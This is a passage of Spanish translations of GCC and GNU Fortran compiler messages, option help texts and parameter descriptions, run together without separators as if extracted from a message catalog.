Enlaza estáticamente la biblioteca de ayuda de GNU Fortran (libgfortran)La expresión de paso en el ciclo DO en %L no puede ser ceroDetener el crecimiento hacia adelante si la probabilidad del mejor borde es menor que este intervalo (en porcentaje). Se utiliza cuando la retroalimentación de análisis de perfil está disponibleDetener el crecimiento hacia adelante si la probabilidad del mejor borde es menor a este intervalo (en porcentaje). Se utiliza cuando la retroalimentación de análisis de perfil no está disponiblePara en excepciones de coma flotante subsecuentesDetener el crecimiento inverso si la probabilidad reversa del mejor borde es menor a este intervalo (en porcentaje)Almacena nombres de función en el código objetoEl componente de estructura '%s' en %L no puede ser un objeto EQUIVALENCELa subrutina '%s' en %L es INTRINSIC pero no es compatible con un intrínsecoLa subrutina '%s' llamada en lugar de una asignación en %L debe ser PURELa llamada a subrutina a '%s' en %L no es PURELa llamada a subrutina a '%s' en el bloque FORALL en %L no es PURELa llamada de subrutina al intrínseco '%s' en %L no es PURELa subcadena en %L tiene longitud ceroEl índice de final de la subcadena en %L excede la longitud de la cadenaEl índice de final de la subcadena en %L debe ser de tipo INTEGEREl índice de final de la subcadena en %L debe ser escalarEl índice de inicio de la subcadena en %L es menor a unoEl índice de inicio de la subcadena en %L debe ser de tipo INTEGEREl índice de inicio de la subcadena en %L debe ser escalarLa suma del segundo y tercer argumentos de IBITS excede el tamaño de bit en %LAdmite funciones internas 3DNow!Admite funciones internas y generación de código AESAdmite funciones internas Athlon 3DNow!Soporte para el ABI Green HillsSoporte para los trigrafos de ISO CAdmite funciones internas y generación de código MMX y SSEAdmite funciones internas MMXAdmite funciones internas y generación de código MMX, SSE y SSE2Admite funciones internas y generación de código MMX, SSE, SSE2 y SSE3Admite funciones internas y generación de código MMX, SSE, SSE2, SSE3 y SSE4AAdmite funciones internas y generación de código MMX, SSE, SSE2, SSE3 y SSSE3Admite funciones internas y generación de código MMX, SSE, SSE2, SSE3, SSSE3 y SSE4.1Admite funciones internas y generación de código MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1 y SSE4.2Admite funciones internas y generación de código MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2 y AVXAdmite funciones internas y generación de código MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AVX y FMAAdmite funciones internas y generación de código PCLMULSoporta el ISA de SCORE 3Soporta el ISA de SCORE 3dSoporta el ISA de SCORE 5Soporta el ISA de SCORE 5uSoporta el ISA de SCORE 7Soporta el ISA de SCORE 7DAdmite funciones internas y generación de código SSE5Soporte a llamadas entre los conjuntos de instrucciones Thumb y ARMAdmite la generación de código de instrucciones Advanced Bit Manipulation (ABM).Da soporte para la generación de código de la instrucción cmpxchg16b.Admite la generación de código de la instrucción popcnt.Admite la generación de código de la instrucción sahf en código x86-64 de 64bit.Soporte para multihilos antiguoSoporta el paso de mensajes con el Ambiente ParaleloAdmite más de 8192 entradas GOT en ColdFireSoporte para multihilosDa soporte a múltiples instrucciones de acumuladorPermite las excepciones síncronas que no son llamadasSuprime la salida de direcciones en los volcados de depuraciónSuprime la salida de números de instrucción, notas de números de linea y direcciones en los volcados de depuraciónSuprime avisosIntercambia la endianess para ficheros sin formatoActiva/desactiva el ASE de MIPS16 en funciones alternates para pruebas del compiladorEl símbolo '%s' ya se había declaradoEl símbolo '%s' en %C ya se había asociado con el anfitriónEl símbolo '%s' en %C ya es un símbolo externo que no es COMMONEl símbolo '%s' en %C ya está en un bloque COMMONEl símbolo '%s' en %C es ambiguoEl símbolo '%s' en %C debe ser un nombre de grupo NAMELISTEl símbolo '%s' en %L ya tenía una interfaz explícitaEl símbolo '%s' en %L no puede tener un tipoEl símbolo '%s' en %L no tiene tipo IMPLICITEl símbolo '%s' en %L es ambiguoEl símbolo '%s' en %L se marcó PRIVATE pero se le dio la etiqueta de asignación '%s'El símbolo '%s' en COMMON en %C no puede ser una matriz POINTEREl símbolo '%s' en la lista de nombres '%s' es INTENT(IN) en %CEl símbolo '%s' se usa antes de escribirse en %LEl símbolo '%s' debe ser un PARAMETER en la declaración DATA en %CEl símbolo '%s' está presente en múltiples cláusulas en %LEl símbolo '%s' referenciado en %L no existe en el módulo intrínseco ISO_C_BINDING.El símbolo '%s' referenciado en %L no existe en el módulo intrínseco ISO_FORTRAN_ENVEl símbolo '%s' referenciado en %L no se encontró en el módulo intrínseco ISO_C_BINDINGEl símbolo '%s' referenciado en %L no se encontró en el módulo intrínseco ISO_FORTRAN_ENVEl símbolo '%s' referenciado en %L no se encontró en el módulo '%s'El símbolo '%s', en el bloque COMMON '%s' en %C está siendo indirectamente equivalente a otro bloque COMMON '%s'El símbolo en %C no es apropiado para una expresiónEl símbolo en %L no es una variable DUMMYSinónimo de -WcommentError sintáctico en la lista !$OMP THREADPRIVATE en %CError sintáctico en la declaración %s en %CError sintáctico en la declaración ABSTRACT INTERFACE en %CError sintáctico en la especificación CASE en %CError sintáctico en la declaración CHARACTER en %CError sintáctico en la constante COMPLEX en %CError sintáctico en la definición ENUMERATOR en %CError sintáctico en la declaración EQUIVALENCE en %LError sintáctico en el iterador FORALL en %CError sintáctico en el iterador de E/S en %CError sintáctico en la cláusula IF en %CError sintáctico en la expresión IF en %CError sintáctico en la declaración IMPORT en %CError sintáctico en el especificador NAME= para la etiqueta de asignación %CError sintáctico en la lista de variables OpenMP en %CError sintáctico en la declaración PROCEDURE en %CError sintáctico en la declaración PROTECTED en %CError sintáctico en la declaración SAVE en %CError sintáctico en la especificación SUBSTRING en %CError sintáctico en la declaración VALUE en %CError sintáctico en la declaración VOLATILE en %CError sintáctico en la lista de argumentos en %CError sintáctico en el constructor de matriz en %CError sintáctico en la especificación de longitud de carácter en %CError sintáctico en el nombre de bloque común en %CError sintáctico en la declaración de datos en %CError sintáctico en la expresión en %CError sintáctico en la especificación genérica en %CError sintáctico en el iterador en %CError sintáctico en el constructor de estructura en %CError sintáctico: Basura al final de la declaración END INTERFACE en %CError sintáctico: Basura al final de la declaración INTERFACE en %CEl objeto THREADPRIVATE '%s' en la cláusula %s en %LEl objeto THREADPRIVATE '%s' en la cláusula SHARED en %LSe visitaron al menos una vez:%s de %d
Apunta a código DFLOAT de doble precisiónEl objetivo tiene I&D divididoApunta al procesador AM33Apunta al procesador AM33/2.0Objetivo: %s
La opción --param reconoce los parámetros a continuaciónLa ABI para pasar un struct con un miembro de matriz flexible cambió en GCC 4.4La ABI para pasar una estructura con un miembro de coma flotante compleja cambió en GCC 4.4La ABI para pasar un union con long double cambió en GCC 4.4El decodificador de C no admite -dy, se descarta la opciónEl decodificador de C++ no admite -dy, se descarta la opciónLos elementos CHARACTER del constructor de matriz en %L deben tener la misma longitud (%d/%d)El DEFAULT CASE en %L no puede tener después un segundo DEFAULT CASE en %LNo se usa el FORALL con índice '%s' en el lado izquierdo de la asignación en %L y podría causar múltiples asignaciones a este objetoEl especificador de formato H en %C es una característica eliminada de Fortran 95La constante Hollerith en %L es demasiado grande para convertirse a %sEl argumento dummy INTENT(OUT) '%s' en %L es ASSUMED SIZE y por lo tanto no puede tener un inicializador por defectoEl NULL en el constructor de tipo derivado en %L se aplica para el componente '%s', el cual no es ni POINTER ni ALLOCATABLEEl decodificador de Objective-C no admite -dy, se descarta la opciónEl decodificador de Objective-C++ no admite -dy, se descarta la opciónLa variable STAT '%s' en una declaración ALLOCATE no se puede alojar en la misma declaración en %LNo se permiten las funciones de lista de argumentos %%VAL, %%LOC o %%REF en este contexto en %LEl número promedio de operadores virtuales que permiten tener las declaraciones de memoria antes de activar las heurísitcas de particionamiento de memoriaEl tipo derivado '%s' en %L es de tipo '%s', el cual no se ha definidoLa versión más temprana de MacOS X en la cual este programa se ejecutaráEl elemento en el constructor de tipo derivado en %L, para el componente puntero '%s', debe ser un POINTER o un TARGETEl elemento en el constructor de tipo derivado en %L, para el componente puntero '%s', es %s pero debería ser %sEl conjunto de equivalencia para '%s' causa una extensión inválida al COMMON '%s' en %LEl conjunto de equivalencia para la variable '%s' declarado en %L viola los requerimientos de alineaciónLas siguientes opciones son independientes del lenguajeLas siguientes opciones son relacionadas al lenguajeLas siguientes opciones no están documentadasLas siguientes opciones son específicas sólo para el lenguaje Las siguientes opciones se admiten en el lenguaje Las siguientes opciones son específicas del objetivoLas siguientes opciones controlan los mensajes de aviso del compiladorLas siguientes opciones controlan las optimizacionesLas siguientes opciones toman argumentos conjuntosLas siguientes opciones toman argumentos separadosLa variable impura en %L se asigna a una variable de tipo derivado con un componente POINTER en un procedimiento PURE (12.6)El intrínseco '%s' en %L no se incluye en el estándar seleccionado, pero %s y '%s' se tratarán como si se declararan EXTERNAL.  Use una opción -std=* apropiada o defina -fall-intrinsics para permitir este intrínseco.El intrínseco '%s' declarado como INTRINSIC en %L no está disponible en la configuración actual de estándares pero %s.  Use una opción -std=* apropiada o active -fall-intrinsics para poder usarlo.El límite inferior para considerar un almacenamiento temporal para protección contra destrucción de pilaLa cantidad máxima de memoria a ser asignada por GCSEEl retraso de conflicto máximo para una insn para ser considerada para movimiento especulativoLa máxima profundidad para la inclusión en línea recursiva para funciones incluídas en líneaLa máxima profundidad para la inclusión en línea recursiva para funciones que no son incluídas en líneaEl factor de expansión máximo al copiar bloques básicosEl número máximo de instrucciones que CSE procesa antes de descargarLa longitud máxima de la ruta considerada en cseLa longitud máxima de la lista de operaciones pendientes del calendarizadorEl número máximo de ubicaciones grabadas por cselibEl número máximo de nodos RTL que se pueden grabar como el último valor del combinadorEl número máximo de bloques en una región para ser considerada para interbloqueoEl número máximo de bordes de entrada para considerar el salto cruzadoEl número máximo de insns en una región para ser consideradas para calendarización de interbloqueoEl número máximo de insns en un ciclo completamente peladoEl número máximo de insns en un ciclo peladoEl número máximo de insns en un ciclo pelado que se enrolla solamente una vezEl número máximo de insns en un ciclo sin switchEl número máximo de insns a duplicar al desfactorizar gotos calculadosEl número máximo de instrucciones en una sola función elegible para inclusión en líneaEl número máximo de instrucciones que una función incluída en línea puede crecer a través de inclusión en línea recursivaEl número máximo de instrucciones que una función que no se incluye en línea puede crecer a través de inclusión en línea recursivaEl número máximo de instrucciones listas para ser ejecutadas para ser consideradas por el calendarizador durante el primer paso de calendarizaciónEl número máximo de instrucciones para considerar el llenado de una ranura de retrasoEl número máximo de instruccions para considerar la búsqueda de información de registros en vivo exactaEl número máximo de instrucciones para considerar el desenrollo en un cicloEl número máximo de instrucciones para considerar el desenrollo en un ciclo en promedioEl número máximo de instrucciones para buscar hacia atrás al buscar por una recarga equivalenteEl número máximo de instrucciones cuando se hace inclusión en línea automáticamenteEl número máximo de iteraciones a través de CFG para extender regionesEl número máximo de iteraciones de ciclo que se predicen estáticamenteEl número máximo de pasos a realizar cuando se hace GCSEEl número máximo de pelados en un solo cicloEl número máximo de pelados en un solo ciclo que está completamente peladoEl tamaño máximo de los campos de la estructura para el cual GCC usará copias por elementoEl número máximo de desenrollos de un solo cicloEl número máximo de desinterrupciones en un solo cicloEl número máximo de operadores virtuales que permite tener una función antes de activar las heurísticas de particionamiento de memoriaLa tasa máxima entre el tamaño de la matriz y las ramificaciones switch para que tome lugar una conversión switchEl tamaño máximo de la ventana de búsqueda hacia adelante de la calendarización selectivaEl tamaño máximo de la estructura (en bytes) para el cual GCC usará copias por elementoLa probabilidad mínima de éxito de especulación (en porcentaje), para que esa insn especulativa se calendarize.El costo mínimo de una expresión costosa en el movimiento invariante del cicloEl número máximo de instrucciones coincidentes para considerar el salto cruzadoLa probabilidad mínima de alcanzar un bloque fuente para la calendarización especulativa entre bloquesEl módulo o la matriz del programa principal '%s' en %L deben tener una forma constanteEl nombre '%s' en %C ya se está usando como un nombre de módulo externo.El nombre '%s' no se puede usar como un operador definido en %CEl número de ciclos que el calendarizador de cambio de módulo considera al revisar conflictos utilizando DFAEl número de elementos en el constructor de matriz en %L requiere un incremento del límite superior %d permitido.  Vea la opción -fmax-array-constructorEl número de insns ejecutadas antes de completar la precargaEl número de precargas que se pueden ejecutar simultánamenteEl porcentaje de la función, evaluado por la frecuencia de ejecución, que debe ser cubierto por la información de rastreo. Se utiliza cuando está disponible la retroalimentación del análisis de perfilEl porcentaje de la función, evaluado por la frecuencia de ejecución, que debe ser cubierto por la información de rastreo. Se utiliza cuando la retroalimentación de análisis de perfil no está disponibleEl componente puntero '%s' de '%s' en %L es de un tipo que no se ha declaradoEl rango del elemento en el constructor de tipo derivado en %L no coincide con el del componente (%d/%d)El tamaño del caché L1El tamaño de la línea del caché L1El tamaño del caché L2El tamaño del cuerpo de la función a considerar grandeEl tamaño del marco de la pila a considerar grandeEl tamaño de la unidad de traducción a considerar grandeLa tasa de intervalo entre las cuentas de estructura actual y más calienteLa tasa de intervalo entre los campos instanciados y el tamaño total de la estructuraLa tasa de intervalo para realizar la eliminación parcial de redundancia después de la recargaLa tasa de intervalo para la cuenta de ejecución de bordes críticos que permitan la eliminación de redundancia después de la recargaEl tipo '%s' no se puede asociar al anfitrión en %L porque está bloqueado por un objeto incompatible del mismo nombre declarado en %LEl tipo para la función '%s' en %L no es accesibleEl límite superior para compartir constantes enterasEl límite superior en la última dimensión debe aparecer en la referencia a la matriz de tamaño asumido '%s' en %LEl valor de n en -finit-character=n debe estar entre 0 y 127No hay una función específica para el genérico '%s' en %LNo hay una subrutina específica para el genérico '%s' en %LYa existe un procedimiento que no es genérico con el nombre de enlace '%s' para el tipo derivado '%s' en %CYa existe un procedimiento con nombre de enlace '%s' para el tipo derivado '%s' en %CEsto es software libre; vea el código para las condiciones de copia.
NO hay garantía; ni siquiera para MERCANTIBILIDAD o 
IDONEIDAD PARA UN PROPÓSITO EN PARTICULAR.

Esto es software libre; vea el código para las condiciones de copia.  NO hay
garantía; ni siquiera para MERCANTIBILIDAD o IDONEIDAD PARA UN PROPÓSITO EN
PARTICULAR

Esta opción es obsoleta; utilice en su lugar -Werror=implicit-function-declarationEsta opción es obsoleta; utilice en su lugar -WextraEsta opción carece de documentaciónModelo de hilos: %s
No se guarda (SAVE) el threadprivate en %LLa variable threadprivate en %C es un elemento de un bloque COMMONContiene el desenrollo para evitar el mal uso de los registros del objetivo a menos que el beneficio del desenrollo sobrepase estoiWMMXt de Thumb-2Thumb: Asume que los punteros de función pueden ir a código no informado sobre ThumbThumb: Asume que las funciones no static pueden ser llamadas desde código ARMThumb: Genera marcos de pila (hojas) aún si no es necesarioThumb: Genera marcos de pila (no-hojas) aún si no es necesarioPara activar el preprocesamiento, utilice -cppJunto con -fpic y -fPIC, no utiliza referencias GOTPLTSe emitieron demasiadas instrucciones ALU (%d)
Demasiados argumentos en la llamada a '%s' en %LDemasiados argumentos para %s en %L¡Demasiados componentes en el constructor de estructura en %C!Demasiados dígitos en el código STOP en %CDemasiados dígitos en la declaración de etiqueta en %CDemasiadas dimensiones en la especificación de forma para RESHAPE en %LDemasiadas salidas de ciclo grabadasEl reordenamiento de nivel principal se debe desactivar cuando se desactiva unidad-cada-vez.Soporte de trampolines para CRXTransforma los almacenamientos condicionales a incondicionalesAtrapar desbordamientos signed en adición, sustracción y multiplicaciónCaptura si la pila pasa del <registro>Captura si la pila pasa del símbolo <nombre>Atrapa la división entera por ceroTrata todos los avisos como erroresTrata las líneas con 'D' en la columna uno como comentariosTrata los ficheros de encabezado faltantes como ficheros generadosTrata el desbordamiento de signo como indefinidoTrata el aviso especificado como errorTrata al fichero de entrada como previamente preprocesadoUse 'jcf-dump --help' para más información.
Pruebe ejecutar '%s' en el intérprete de comandos para elevar su límite.
Trata de acomodar los tipos derivados tan compactos como sea posibleAjusta la alineación para el chip especificado o la versión de CPUAjusta el código para el procesador dadoAjusta la latencia esperada de memoriaOptimiza para el CPU o la arquitectura destinoDos PROGRAMas principales en %L y %CNo se deben especificar dos o más referencias de parte con rango que no es cero en %LEl tipo '%s' en %L es un parámetro del procedimiento BIND(C) '%s' pero no es interoperable con C porque el tipo derivado '%s' no es interoperable con CAnálisis de alias y escape basado en tiposLa declaración de tipo '%s' en %L no es interoperable con C pero es BIND(C)No coincide el tipo en el argumento '%s' en %L; se pasa %s a %sEl nombre de tipo '%s' en %C no puede ser el mismo que un tipo intrínsecoEl nombre de tipo '%s' en %C es ambiguoEl tipo del argumento '%s' en la llamada a '%s' en %L debe ser %s, no %sSe descarta el tipo para la función intrínseca '%s' en %LNo coincide el tipo/rango en el argumento '%s' en %LLos tipos no coinciden para el argumento dummy '%s' de '%s' en %L con respecto al procedimiento sobreescritoLa especificación UNIT en %L debe ser una expresión INTEGER o una variable CHARACTERUNKNOWN en print_operand !?No se puede encontrar un procedimiento INTRINSIC específico para la referencia '%s' en %LNo se puede resolver la función específica '%s' en %LNo se puede resolver la subrutina específica '%s' en %LDirectiva OpenMP inclasificable en %CDeclaración inclasificable en %CDeclaración inclasificable en la cláusula IF en %CBorra la definición de <macro>El enlace específico '%s' no está definido como objetivo del GENERIC '%s' en %LLongitudes de caracteres desiguales (%ld/%ld) en %s en %LDeclaración %s inesperada en %CDeclaración %s inesperada en %C en el cuerpo de INTERFACEDeclaración %s inesperada en BLOCK DATA en %CDeclaración %s inesperada en la sección CONTAINS en %CDeclaración %s inesperada en el bloque FORALL en %CDeclaración %s inesperada en el bloque INTERFACE en %CDeclaración %s inesperada en MODULE en %CDeclaración %s inesperada en el bloque WHERE en %CDeclaración CASE inesperada en %CDeclaración END inesperada en %CFin de fichero inesperadoEspecificación de devolución alternativa inesperada en la llamada a subrutina en %LCarácter inesperado en la lista de variables en %CCaracteres inesperados en la declaración PARAMETER en %CElemento '%c' inesperado en la cadena de formato en %LFin de fichero inesperado en '%s'Cadena de fin de formato inesperadaFin de módulo inesperadoFin de módulo inesperado en la constante de cadenaBasura inesperada después de la declaración ELSE IF en %CBasura inesperada después de la declaración ELSE en %CBasura inesperada después de la declaración de la función en %CBasura inesperada en la lista de argumentos formales en %CTipo inesperado en truthvalue_conversionUso inesperado del nombre de subrutina '%s' en %COperador de llamada no identificableArquitectura desconocida '%s'Lista de argumentos de función desconocida en %LDestino desconocidoOperador intrínseco desconocidoRamificación long desconocida en %s (tipo %d)
Modo desconocido en print_operand (CONST_DOUBLE) :Operador '%s' desconocido en %%LNombre de procedimiento "%s" desconocido en %CRamificación short desconocida en %s (tipo %d)
Fuente desconocidaInterruptor -mlong-double-%s desconocidoValor %qs desconocido de -mmacosx-version-minNo se reconoce la declaración GIMPLE durante la expansión RTLNo se reconoce la opción para -finit-logical: %sNo se reconoce la opción para -finit-real: %sDeclaración sin soporte dentro de WHERE en %LConstante de carácter sin terminar que comienza en %CArgumento dummy sin uso '%s' en %LSe declaró el parámetro '%s' sin uso en %LSe declaró la variable '%s' sin uso en %LLa referencia de matriz superior en %L está fuera de los límites (%ld < %ld) en la dimensión %dLa referencia de matriz superior en %L está fuera de los límites (%ld > %ld) en la dimensión %dModo de empleo: %s [OPCIONES]... NOMBRECLASEmain [FICHERO-SALIDA]
Modo de empleo: %s [opciones] fichero...
Modo de empleo: gcov [OPCIÓN]... FICHERO-FUENTE...

Modo de empleo: jcf-dump [OPCIÓN]... CLASE...

Utilice "-Wa,OPCIÓN" para pasar la "OPCIÓN" al ensamblador.

Utilice "-Wl,OPCIÓN" para pasar la "OPCIÓN" al enlazador.
Usa -G para los datos que están definidos por el objeto actualUsa -G para los datos del objeto localUsa long doubles de 128 bitsUsa int de 16 bitUsa patrones abs de 64-bitUsa float de 32 bitUsa int de 32 bitUsa la ABI de 32-bitUsa los registros de coma flotante de 32-bitUsa los registros generales de 32-bitUsa entradas de 4 byte en las tablas de switchUsa 4 acumuladores de mediosUsa las instrucciones de multiplicación half-word 4xxUsa la instrucción dlmzb de búsqueda de cadena 4xxUsa 64 FPRsUsa 64 GPRsUsa float de 64 bitUsa la ABI de 64-bitUsa los registros de coma flotante de 64-bitUsa los registros generales de 64-bitUsa long doubles de 64 bitsUsa 8 acumuladores de mediosUsa los registros ABI reservadosUsa las instrucciones AltiVecUsa instrucciones Branch Likely, sobreponiendo el valor por defecto para la arquitecturaUsa la instrucción CONST16 para cargar constantesUsa EABIUsa FUNC para vaciar el caché antes de llamar a los trampolines de pilaUsa libc de GNU en lugar de uClibcUtiliza secciones sdata/sbss relativas a GPUsa el direccionamiento relativo al GP para acceder a datos smallUsa las reglas de alineación H8/300Usa matemática IEEE para comparaciones fpUsa instrucciones MIPS-3DUsa instrucciones MIPS-DSP REV 2Usa instrucciones MIPS-DSPUsa el soporte de hilos específico de MingwUsa los registros quad-word Neon (en lugar de double-word) para la vectorizaciónUsa los operadores de ensamblador %reloc() del estilo NewABIUsa Mnemónicos-P para ramificaciones predichas estáticamente como tomadasUsa instrucciones 'mad' de estilo PMCUsa el conjunto de instrucciones POWERUsa el conjunto de instrucciones POWER2Usa el grupo opcional de instrucciones PowerPC de Propósito GeneralUsa el grupo opcional de instrucciones PowerPC de GráficasUsa las instrucciones mfcr de un solo campo de PowerPC V2.01Usa las instrucciones de redondeo de coma flotante de PowerPC V2.02Usa la instrucción popcntb de PowerPC V2.02Usa la instrucción compare bytes de PowerPC V2.05Usa el conjunto de instrucciones PowerPCUsa el conjunto de instrucciones PowerPC-64Usa la ROM en lugar de la RAMUsa las convenciones de paso de registro SSE para los modos SF y DFUsa instrucciones SmartMIPSUsa sintaxis de ensamblador UNIXUsa la extensión del Conjunto de Instrucciones Visuales de UltraSPARCUsa fp de VAXUsa convenciones de estructura VAXCUsa __cxa_atexit para registrar destructoresUsa __cxa_get_exception_ptr para el manejo de excepcionesUsa un tipo long de 32-bitUsa un marcador de registro de 4-byte para los ficheros sin formatoUsa un tipo long de 64-bitUsa un método de protección de pila para cada funciónUsa direcciones que reserven registros globalesUsa nombres de registro alternativosUsa un tipo 'int' de 8-bitUsa un marcador de registro de 8-byte para los ficheros sin formatoUsa inmediatos de tamaños arbitrarios en operaciones de bitUsa el orden de byte big-endianUsa el formato big-endian para los ficheros sin formatoUsa secuencias ramifica-y-para para revisar la división entera por ceroUsa bras para el ejecutable < 64kUsa call y rtc para llamadas y devoluciones de funciónUsa registros de llamada alterada para los parámetros y el valor de devoluciónUsa la clase <nombre> para cadenas constantesUsa el control de especulaciónUsa la especulación de datos después de recargarUsa la especulación de datos antes de recargarUsa instrucciones de coma flotante decimalUsa la convención de llamada diferente usando 'rtd'Usa el modo de direccionamiento directo para los registros suavesUsa referencias directas contra %gs cuando se accesen datos tlsUsa instrucciones de comparación de coma flotante que respeten epsilonUsa perfiles de valor de expresión en las optimizacionesUsa las instrucciones GPR to/from move de coma flotante de PowerPC V2.05Usar la convención de llamada f2cUsa las características y el código de calendarizador para el CPU dadoUsa las características y el calendarizador del CPU dadoUsa instrucciones fp doubleUsa registros fpUsa el modelo de código del SPARC-V9 dadoUsa el dialecto de ensamblador dadoUsa el dialecto de almacenamiento thread-local dadoUsa el modelo de código del x86-64 dadoUsa FP de hardwareUsa instrucciones de división por hardware en ColdFireUsa coma flotante de hardwareUsa fp de hardwareUsa instrucciones de FP quad de hardwareUsa el control de especulación en bloqueUsa la especulación de datos en bloque después de recargarUsa la especulación de datos en bloque antes de recargarUsa los nombres de registro in/loc/outUsa las instrucciones CALLXn indirectas para programas grandesUsa llamadas indirectasUsa patrones incluídos en línea para copiado de memoriaUsa jsr y rts para llamadas y devoluciones de funciónUsa tablas de salto para las declaraciones switch suficientemente grandesUsa el orden de byte little-endianUsa el formato little-endian para los ficheros sin formatoUsa las instrucciones ll, sc y syncUsa instrucciones de mediosUsa instrucciones acumular/sustraer de multiplicarUsa n como carácter de ancho de línea en formato fijoUsa n como carácter de ancho de línea en formato libreUsa la disposición de campos de bits nativos (MS)Usa el formato nativo para los ficheros sin formatoUsa los mnemónicos nuevos para la arquitectura PowerPCUsa la convención de llamada normalEl uso de -fdefault-double-8 require de -fdefault-real-8El uso del módulo intrínseco '%s' en %C tiene conflictos con un nombre de módulo no intrínseco usado previamenteEl uso del módulo '%s' que no es intrínseco tiene conflictos con el nombre del módulo intrínseco usado previamenteEl uso de la constante nombrada NUMERIC_STORAGE_SIZE del módulo intrínseco ISO_FORTRAN_ENV en %C es incompatible con la opción %sEl uso de la constante nombrada NUMERIC_STORAGE_SIZE del módulo intrínseco ISO_FORTRAN_ENV en %L es incompatible con la opción %sUtiliza tablas de desplazamiento para llamadas a métodos virtualesUsa los mnemónicos antiguos para la arquitectura PowerPCUsa sólo una entrada TOC por procedimientoUsa la disposición de pila empacadaUsa instrucciones apareadas-sencillas de coma flotanteUsa convenciones de llamada transportableUsa la información de análisis de perfil para las probabilidades de ramificaciónUsa propolice como un método de protección de pilaUsa instrucciones push para guardar los argumentos de salidaUsa la zona roja en el código x86-64Usa la pila de registros para los parámetros y el valor de devoluciónUsa registros para el paso de parámetrosUsa los registros r2 y r5Usa rjmp/rcall (rango limitado) en dispositivos >8KUsa bibliotecas compartidasUsa la revisión de especulación de datos simpleUsa la revisión de especulación de datos simple para el control de especulaciónUsa el simulador de tiempo de ejecuciónUsa coma flotante de softwareUsa la tendencia de la pilaUsa la función main estándar como entrada para el inicioUsa structs en la alineación más fuerte para copias double-wordUsa cabos para los prólogos de funciónUsa subrutinas para los prólogos y epílogos de funciónUsa la extensión Puntero CrayUsa la interfaz CygwinUsa la sintaxis de ensamblador DECUsa el paso de eliminación de código muerto de RTLUsa la eliminación de almacenamiento muerto de RTLUsa las instrucciones de campos de bitUsa la instrucción divideUsa el postpase mips-tfileUsa la mayor cantidad de características permitidas por otras opcionesUsa el tipo entero más estrecho posible para tipos de enumeraciónUsa el mismo tamaño para double que para floatUsa semántica GNU tradicional para las funciones incluídas en líneaUsa instrucciones trap para revisar la división entera por ceroUsa uClibc en lugar de libc de GNUUsa cargas de memoria de extensión cero, no las de extensión con signoUsa el modo Fix-and-Continue para indicar que los ficheros objeto se pueden intercambiar en tiempo de ejecuciónLa función definida por el usuario '%s' que no es ELEMENTAL en %L no se permite en la construcción WORKSHAREEl operador de usuario '%s' referenciado en %L no se encontró en el módulo '%s'El procedimiento de operador de usuario '%s' en %L no puede ser de longitud de carácter asumidoEl procedimiento de operador de usuario '%s' en %L debe ser FUNCTIONEl procedimiento de operador de usuario '%s' en %L debe tener al menos un argumentoSe usa long double de precisión extendida de IBMSe usa long double de precisión extendida de IEEEUsando especificaciones internas.
Se usa ABI darwin64Se usa ABI de darwin antiguomodoVOID en una salidaLa variable %s no puede ser INTENT(IN) en %CLa variable %s no se puede asignar en el procedimiento PURE en %CLa variable '%s' en %C no se puede redefinir dentro del inicio de un ciclo en %LLa variable '%s' en %C con un inicializador ya aparecía en una declaración DATALa variable '%s' en %L no puede ser BIND(C) porque no es un bloque COMMON ni se declaró en el ámbito de nivel de móduloLa variable '%s' en %L no puede tener los atributos ALLOCATABLE y BIND(C) al mismo tiempoLa variable '%s' en %L no puede tener los atributos POINTER y BIND(C) al mismo tiempoLa variable '%s' en %L no puede tener el atributo ALLOCATABLE porque el procedimiento '%s' es BIND(C)La variable '%s' en %L no puede tener el atributo OPTIONAL porque el procedimiento '%s' es BIND(C)La variable '%s' en %L no puede tener el atributo POINTER porque el procedimiento '%s' es BIND(C)No se ha asignado una etiqueta de formato a la variable '%s' en %LLa variable '%s' en %L en el bloque común '%s' en %C se debe declarar con género interoperable con C porque el bloque común '%s' es bind(c)La variable '%s' en %L en este contexto debe ser constanteLa variable '%s' en %L es un parámetro del procedimiento BIND(C) '%s' pero puede no ser interoperable con CLa variable '%s' en %L está en COMMON pero sólo se permite la inicialización en BLOCK DATALa variable '%s' en %L no es de un género interoperable con C pero es BIND(C)La variable '%s' no puede aparecer en la expresión en %LLa variable '%s' no se ha asignado a una etiqueta objetivo en %LSe usó la variable '%s' en la cláusula %s en la declaración NAMELIST en %LLa variable '%s' en el bloque común '%s' en %C no puede ser bind(c) porque no es globalLa variable '%s' en el bloque común '%s' en %C se debe declarar con un género interoperable con C porque el bloque común '%s' es BIND(C)La variable '%s' en el bloque común '%s' en %L no se puede declarar con BIND(C) porque no es un globalLa variable '%s' en el bloque común '%s' en %L no puede ser un género interoperable con C ya que el bloque común '%s' es BIND(C)La variable '%s' en la lista de entrada en %C no puede ser INTENT(IN)La variable '%s' se usa en %L antes de la declaración ENTRY en la cual es un parámetroLa variable '%s', usada en una expresión de especificación, se referencía en %L antes de la declaración ENTRY en la cual es un parámetroEl tipo de la variable es UNKNOWN en la asignación en %LLa asignación de vector a un Apuntado Cray de tamaño asumido en %L es ilegal.ABI de biblioteca de vectores a utilizarNo se permite una declaración WAIT en un procedimiento PURE en %CEl objetivo de asignación WHERE en %L tiene forma inconsistenteLa máscara WHERE en %L tiene forma inconsistentela cláusula WHERE/ELSEWHERE en %L requiere una matriz LOGICALAvisa sobre declaraciones "extern" que no están en el ámbito del ficheroAvisa sobre construcciones "sospechosas" Avisa sobre @selector()es sin métodos declarados previamenteAvisa sobre construcciones C que no están en el subconjunto común de C y C++Avisar sobre constructores de C++ cuyos significados difieren entre ISO C++ 1998 e ISO C++ 200xAvisa sobre el paso de NULL a ranuras de argumento marcadas que requieren no-NULLAvisa sobre ficheros PCH que se encuentran pero no se usanAvisa sobre la alineación de bloques COMMONAvisa sobre todos los switches enumerados que carezcan de un case específicoAvisa sobre un cuerpo vacío en una declaración if o elseAvisa sobre llamadas con interfaz implícitaAvisa por funciones de conversión a tipos incompatiblesAvisa sobre conversiones que descartan calificadoresAvisa sobre código que nunca se ejecutaráAvisa sobre código que pueda romper las reglas estrictas de aliasesAvisar sobre comparación de tipos enum diferentesAvisa sobre la división entera por cero en tiempo de compilaciónAvisa sobre constructores que no se instrumentaron por -fmudflapAvisa sobre la creación de matrices temporalesAvisa sobre el uso del tipo AltiVec obsoleto 'vector long ...'Avisa sobre switches enumerados que carezcan de una declaración "default:"Avisa sobre switches enumerados, sin valor por defecto, que carezcan de un caseAvisa sobre características no presentes en C tradicionalAvisa sobre el uso de cadenas de formato que no son literalesAvisa 